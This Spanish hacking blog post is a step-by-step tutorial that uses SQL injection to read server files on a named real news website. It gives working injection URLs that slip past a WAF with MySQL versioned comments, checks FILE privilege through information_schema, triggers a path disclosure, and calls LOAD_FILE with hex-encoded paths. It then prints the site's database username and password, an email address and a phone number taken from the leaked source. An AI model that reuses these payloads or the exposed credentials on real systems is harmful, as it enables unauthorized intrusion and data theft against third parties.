Realizar FSD por medio de SQLI ~ HD_Breaker Seguridad Informatica

lunes, 29 de julio de 2013

Realizar FSD por medio de SQLI

[center][size=24pt][i]Realizar FSD por medio de SQLI:[/i][/size][/center]

Veamos esta Web con SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689




despues de explotar el sqli y Bypassear el WAF queda asi:



Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:



podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD



por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D



y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");

Espero que les sea de Utilidad!

HD_Breaker

0 comentarios:

Publicar un comentario